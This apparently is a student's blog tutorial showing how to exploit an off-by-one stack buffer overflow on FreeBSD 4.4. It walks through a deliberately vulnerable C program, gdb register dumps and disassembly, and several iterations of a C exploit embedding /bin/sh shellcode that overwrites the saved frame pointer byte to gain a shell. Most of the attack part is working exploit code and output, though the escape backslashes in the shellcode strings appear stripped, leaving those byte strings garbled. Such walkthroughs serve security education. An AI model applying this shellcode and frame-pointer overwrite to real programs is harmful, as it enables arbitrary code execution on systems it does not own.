Of-By-One

I wrote the following article during my second year of computer science school. In order to understand the following, you should know about C language programming, the gdb debugger and the memory layout of a process. I created and tested the exploit on a FreeBSD 4.4 OS.

The of-by-one overflow (on FreeBSD 4.4)

A vulnerable program

The aim of the of-by-one is to exploit a buffer overflow when you can only overflow the buffer of a program by one byte. It is actually a pretty common bug. Let’s create a program with an of-by-one vulnerability.

bash-2.05$ cat vuln.c  

#include <stdio.h>
#include <stdlib.h>

void foo(char *string)
{
  char buffer[256];
  int i;
  for(i = 0; string[i] != '\0' && i <= 256; i++)
    buffer[i] = string[i];
}

int main(int argc, char **argv)
{
  if (argc != 2)
    {
      printf("usage: %s stringn", argv[0]);
      exit(1);
    }
  foo(argv[1]);
  return 0;
}

bash-2.05$ gcc -o vuln vuln.c
bash-2.05$ ./vuln foofoo
bash-2.05$ ./vuln `perl -e 'print "A"x255'`
bash-2.05$ ./vuln `perl -e 'print "A"x256'`
Segmentation fault (core dumped)
bash-2.05$

The mistake is in foo, caused by a “<=" instead of a "<". If string is longer than 256 bytes then its first 256 bytes are copied in buffer which is 256 bytes long, and then the 257th byte of string is copied out of the buffer, right next in the stack. Let’s try to determine what exactly is overwritten to explain the “Segmentation fault”

bash-2.05$ gcc -o vuln vuln.c
bash-2.05$ gdb vuln
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd"...(no debugging symbols found)...
(gdb) b main
Breakpoint 1 at 0x804851e
(gdb) r `perl -e 'print "A"x257'`
Starting program: /home/girbal_a/buffover/vuln `perl -e 'print "A"x256'`
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x804851e in main ()
(gdb) i r
eax            0x0      0
ecx            0x280e9960       672045408
edx            0x4      4
ebx            0x2      2
esp            0xbfbff694       0xbfbff694
ebp            0xbfbff69c       0xbfbff69c
esi            0xbfbff6f0       -1077938448
edi            0xbfbff6fc       -1077938436
eip            0x804851e        0x804851e
eflags         0x282    642
cs             0x1f     31
ss             0x2f     47
ds             0x2f     47
es             0x2f     47
fs             0x2f     47
gs             0x2f     47
(gdb) disas main
Dump of assembler code for function main:
0x8048518 <main>:       push   %ebp
0x8048519 <main+1>:     mov    %esp,%ebp
0x804851b <main+3>:     sub    $0x8,%esp
0x804851e <main+6>:     cmpl   $0x2,0x8(%ebp)
0x8048522 <main+10>:    je     0x8048548 <main+48>
0x8048524 <main+12>:    add    $0xfffffff8,%esp
0x8048527 <main+15>:    mov    0xc(%ebp),%eax
0x804852a <main+18>:    mov    (%eax),%edx
0x804852c <main+20>:    push   %edx
0x804852d <main+21>:    push   $0x804859b
0x8048532 <main+26>:    call   0x8048358 <printf>
0x8048537 <main+31>:    add    $0x10,%esp
0x804853a <main+34>:    add    $0xfffffff4,%esp
0x804853d <main+37>:    push   $0x1
0x804853f <main+39>:    call   0x8048378 <exit>
0x8048544 <main+44>:    add    $0x10,%esp
0x8048547 <main+47>:    nop
0x8048548 <main+48>:    add    $0xfffffff4,%esp
0x804854b <main+51>:    mov    0xc(%ebp),%eax
0x804854e <main+54>:    add    $0x4,%eax
0x8048551 <main+57>:    mov    (%eax),%edx
0x8048553 <main+59>:    push   %edx
0x8048554 <main+60>:    call   0x8048494 <foo>
0x8048559 <main+65>:    add    $0x10,%esp
0x804855c <main+68>:    xor    %eax,%eax
0x804855e <main+70>:    jmp    0x8048560 <main+72>
0x8048560 <main+72>:    leave
0x8048561 <main+73>:    ret
0x8048562 <main+74>:    mov    %esi,%esi
End of assembler dump.
(gdb) b *0x8048559
Breakpoint 2 at 0x8048559
(gdb) c
Continuing.

Breakpoint 2, 0x8048559 in main ()
(gdb) i r
eax            0xbfbff57c       -1077938820
ecx            0xbfbff901       -1077937919
edx            0x100    256
ebx            0x2      2
esp            0xbfbff684       0xbfbff684
ebp            0xbfbff641       0xbfbff641
esi            0xbfbff6f0       -1077938448
edi            0xbfbff6fc       -1077938436
eip            0x8048559        0x8048559
eflags         0x282    642
cs             0x1f     31
ss             0x2f     47
ds             0x2f     47
es             0x2f     47
fs             0x2f     47
gs             0x2f     47
(gdb)

It seems that after foo returns in main, the ebp is different than before the foo call.

  • before: 0xbfbff69c
  • after: 0xbfbff641

Has “41″ something to do with the ‘A’ character (code 0×41)?

the idea behind the exploit

Let’s take a look at the stack organization when in foo.

When the program overflows the buffer, it overwrites the first byte of the saved ebp (the one of main), which is pointed to by the current ebp. How can we take advantage of this? We know that when a function returns, 2 instructions are executed:

  • leave: esp takes the value of the current ebp. Then the value it points to (the saved ebp) is poped into ebp. After the pop, esp points to the return instruction’s address.
  • ret: the value esp points to is poped into eip, so that the execution goes on in the function of the previous frame.

With this in mind, here is the idea: we change the value of the main’s ebp so that when foo returns, ebp takes a value that points to an address that is four bytes ahead of the address of a shellcode. Then when main returns, esp takes the value of ebp, pops the value it points to into ebp (this value isn’t important). Then the return address, 4 bytes further, is popped into eip. The execution flow follows eip which points to the address of the shellcode.

Where should we put the address of the shellcode and the shellcode itself? The address of the shellcode that will be popped in eip must be close to the normal saved ebp as we can only change the last byte of the address. its address must have the same first 3 bytes as the normal address. The best place for it is probably at the end of buffer. The shellcode itself can be placed before that address in the buffer, if this one is big enough. We could also put it in an environment variable. In our example we will write it in the buffer.

Here is what the stack should look like after the overflow:

We must determine the address of the buffer in order to know:

  • the address of the shellcode
  • the address of the value containing that address

the exploit

Let’s write an uncomplete exploit with a basic shellcode.

bash-2.05$ cat exploit.c
#include <unistd.h>
#include <string.h>

char shellcode[]=
"x31xc0x50x68x2fx2fx73x68x68x2f"
"x62x69x6ex89xe3x50x54x53"
"xb0x3bx50xcdx80";

int main()
{
  char buffer[1024];
  int   len = strlen(shellcode);

  bzero(buffer, 1024); //zero the buffer
  memset(buffer, 0x90, 252 - len); //put the nops
  strncat(buffer, shellcode, len); //put the shellcode

  buffer[252] = 0x00;// an address
  buffer[253] = 0x00;// pointing in
  buffer[254] = 0x00;// the middle
  buffer[255] = 0x00;// of the nops

  buffer[256] = 0x00;// the overflowing byte

  execl("./vuln", "vuln", buffer, NULL);
  return 0;
}

bash-2.05$ gcc -o exploit exploit.c
bash-2.05$ gdb -exec=exploit -symbols=vuln
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd"...(no debugging symbols found)...
(gdb) r
Starting program: /home/girbal_a/buffover/exploit
(no debugging symbols found)...(no debugging symbols found)...
Program received signal SIGTRAP, Trace/breakpoint trap.
0x2804b360 in .rtld_start () from /usr/libexec/ld-elf.so.1
(gdb) b foo
Breakpoint 1 at 0x804849e
(gdb) c
Continuing.

Breakpoint 1, 0x804849e in foo ()
(gdb) disas foo
Dump of assembler code for function foo:
0x8048494 <foo>:        push   %ebp
0x8048495 <foo+1>:      mov    %esp,%ebp
0x8048497 <foo+3>:      sub    $0x114,%esp
0x804849d <foo+9>:      push   %ebx
0x804849e <foo+10>:     nop
0x804849f <foo+11>:     movl   $0x0,0xfffffefc(%ebp)
0x80484a9 <foo+21>:     lea    0x0(%esi),%esi
0x80484ac <foo+24>:     mov    0x8(%ebp),%eax
0x80484af <foo+27>:     mov    0xfffffefc(%ebp),%edx
0x80484b5 <foo+33>:     add    %edx,%eax
0x80484b7 <foo+35>:     cmpb   $0x0,(%eax)
0x80484ba <foo+38>:     je     0x80484cc <foo+56>
0x80484bc <foo+40>:     cmpl   $0xff,0xfffffefc(%ebp)
0x80484c6 <foo+50>:     jle    0x80484d0 <foo+60>
0x80484c8 <foo+52>:     jmp    0x80484cc <foo+56>
0x80484ca <foo+54>:     mov    %esi,%esi
0x80484cc <foo+56>:     jmp    0x80484f4 <foo+96>
0x80484ce <foo+58>:     mov    %esi,%esi
0x80484d0 <foo+60>:     lea    0xffffff00(%ebp),%eax  <----
0x80484d6 <foo+66>:     mov    0xfffffefc(%ebp),%edx       |
0x80484dc <foo+72>:     mov    0x8(%ebp),%ecx              |
0x80484df <foo+75>:     mov    0xfffffefc(%ebp),%ebx       |
0x80484e5 <foo+81>:     add    %ebx,%ecx                   |
0x80484e7 <foo+83>:     mov    (%ecx),%bl                  |
0x80484e9 <foo+85>:     mov    %bl,(%edx,%eax,1)           |
0x80484ec <foo+88>:     incl   0xfffffefc(%ebp)            |
0x80484f2 <foo+94>:     jmp    0x80484ac <foo+24>          |
0x80484f4 <foo+96>:     lea    0xffffff00(%ebp),%eax       |
0x80484fa <foo+102>:    mov    0xfffffefc(%ebp),%edx       |
0x8048500 <foo+108>:    mov    0x8(%ebp),%ecx              |
0x8048503 <foo+111>:    mov    0xfffffefc(%ebp),%ebx       |
0x8048509 <foo+117>:    add    %ebx,%ecx                   |
0x804850b <foo+119>:    mov    (%ecx),%bl                  |
0x804850d <foo+121>:    mov    %bl,(%edx,%eax,1)           |
0x8048510 <foo+124>:    mov    0xfffffee8(%ebp),%ebx       |
0x8048516 <foo+130>:    leave                              |
0x8048517 <foo+131>:    ret                                |
End of assembler dump.                                     |
(gdb) b *0x80484d0     <----------- here the program get the buffer via ebp.
Breakpoint 2 at 0x80484d0
(gdb) c
Continuing.

Breakpoint 2, 0x80484d0 in foo ()
(gdb) i r
eax            0xbfbff801       -1077938175
ecx            0x280e9960       672045408
edx            0x0      0
ebx            0x2      2
esp            0xbfbff57c       0xbfbff57c
ebp            0xbfbff694       0xbfbff694
esi            0xbfbff708       -1077938424
edi            0xbfbff714       -1077938412
eip            0x80484d0        0x80484d0
eflags         0x293    659
cs             0x1f     31
ss             0x2f     47
ds             0x2f     47
es             0x2f     47
fs             0x2f     47
gs             0x2f     47
(gdb) q
The program is running.  Exit anyway? (y or n) y
bash-2.05$

We know that buffer is at the address 0xbfbff694 + 0xffffff00, so it begins at 0xbfbff594 and ends at 0xbfbff694. The address that will be poped must point in the zone of the nops or to the beginning of our shellcode. Let’s choose 0xbfbff620. This value will be placed in the last 4 bytes of buffer, at the address 0xbfbff690. Consequently the overflowing byte should have the value 0×8c so that the saved ebp will point 4 bytes ahead of the shellcode’s address. Here is the complete exploit.

bash-2.05$ cat exploit.c
#include <unistd.h>
#include <string.h>

char shellcode[]=
"x31xc0x50x68x2fx2fx73x68x68x2f"
"x62x69x6ex89xe3x50x54x53"
"xb0x3bx50xcdx80";

int main()
{
  char buffer[1024];
  int   len = strlen(shellcode);

  bzero(buffer, 1024);
  memset(buffer, 0x90, 252 - len);
  strncat(buffer, shellcode, len);

  buffer[252] = 0x20;
  buffer[253] = 0xf6;
  buffer[254] = 0xbf;
  buffer[255] = 0xbf;

  buffer[256] = 0x8c;

  execl("./vuln", "vuln", buffer, NULL);
  return 0;
}

bash-2.05$ gcc -o exploit exploit.c
bash-2.05$ ./exploit
Floating point exception (core dumped)
bash-2.05$

Oops… it seems that there is a problem during the execution of our shellcode.

Problem with the shellcode

Let’s check the shellcode.

bash-2.05$ cat assembleur.c
int main()
{
  __asm__(" xorl %eax, %eax   n"
          " pushl %eax        n"
          " pushl $0x68732f2f n"
          " pushl $0x6e69622f n"
          " movl %esp,%ebx    n"
          " pushl %eax        n"
          " pushl %esp        n"
          " pushl %ebx        n"
          " movb $0x3b,%al    n"
          " pushl %eax        n"
          " int $0x80         n");
}
bash-2.05$

When the execution of the shellcode begins, esp points 8 bytes after the end of the buffer (we have popped 2 times, for ebp and eip) and so only 12 bytes after our shellcode. We can imagine what the problem is: the shellcode pushes six values on the stack, and so overwriting 12 of its own bytes. One solution is to add an instruction at the beginning of the shellcode in order to make esp pointing further away.

bash-2.05$ cat assembleur.c
int main()
{
  __asm__(" addl $0x30, %esp  n"
          " xorl %eax, %eax   n"
          " pushl %eax        n"
          " pushl $0x68732f2f n"
          " pushl $0x6e69622f n"
          " movl %esp,%ebx    n"
          " pushl %eax        n"
          " pushl %esp        n"
          " pushl %ebx        n"
          " movb $0x3b,%al    n"
          " pushl %eax        n"
          " int $0x80         n");
}                                 

bash-2.05$ cat exploit.c
#include <unistd.h>
#include <string.h>

char shellcode[]=
"x83xc4x30x31xc0x50x68x2fx2fx73x68x68x2f"
"x62x69x6ex89xe3x50x54x53"
"xb0x3bx50xcdx80";

int main()
{
  char buffer[1024];
  int   len = strlen(shellcode);

  bzero(buffer, 1024);
  memset(buffer, 0x90, 252 - len);
  strncat(buffer, shellcode, len);

  buffer[252] = 0x20;
  buffer[253] = 0xf6;
  buffer[254] = 0xbf;
  buffer[255] = 0xbf;

  buffer[256] = 0x8c;

  execl("./vuln", "vuln", buffer, NULL);
  return 0;
}
bash-2.05$ gcc -o exploit exploit.c
bash-2.05$ ./exploit
$

Here we go, we got a shell :)

Comments are closed.

Trackback this Post |